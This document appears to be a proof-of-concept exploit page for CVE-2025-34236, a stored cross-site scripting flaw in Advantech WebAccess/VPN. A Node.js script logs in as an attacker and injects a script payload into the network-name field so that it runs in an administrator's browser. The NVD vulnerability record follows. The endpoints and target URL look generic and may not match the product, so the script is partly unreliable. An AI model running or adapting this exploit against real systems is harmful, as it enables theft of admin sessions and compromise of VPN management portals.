CVE-2025-34236

// CVE-2025-34236 PoC - Stored XSS in Advantech WebAccess/VPN // Target: NetworksController.addNetworkAction() // Payload: <script>alert(document.cookie)</script> const axios = require('axios'); const TARGET_URL = 'http://target-website.com'; const USERNAME = 'attacker_user'; const PASSWORD = 'password123'; async function exploitStoredXSS() { try { // Step 1: Login to get authentication token const loginResponse = await axios.post(`${TARGET_URL}/api/auth/login`, { username: USERNAME, password: PASSWORD }); const authToken = loginResponse.data.token; // Step 2: Inject XSS payload via addNetworkAction const xssPayload = '<script>alert(document.cookie)</script>'; const networkData = { networkName: xssPayload, networkType: 'VPN', description: 'XSS Test Network' }; const exploitResponse = await axios.post( `${TARGET_URL}/api/networks/addNetworkAction`, networkData, { headers: { 'Authorization': `Bearer ${authToken}`, 'Content-Type': 'application/json' } } ); console.log('XSS payload injected successfully'); console.log('Payload will execute when admin views network list'); } catch (error) { console.error('Exploitation failed:', error.message); } } exploitStoredXSS();

{"cve": {"id": "CVE-2025-34236", "sourceIdentifier": "[email protected]", "published": "2025-11-06T20:15:47.180", "lastModified": "2025-11-28T16:44:46.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Advantech WebAccess/VPN versions prior to 1.1.5 contain a stored cross-site scripting (XSS) vulnerability via NetworksController.addNetworkAction(). Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:webaccess\\/vpn:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.1.5", "matchCriteriaId": "FFBAB4BE-F708-4A56-A192-BC46C45F84D6"}]}]}], "references": [{"url": "https://icr.advantech.com/download/software", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://icr.advantech.com/support/router-models/download/511/sa-2025-01-vpn-portal-2025-11-06.pdf", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/advantech-webaccess-vpn-stored-xss-via-networkcontroller", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}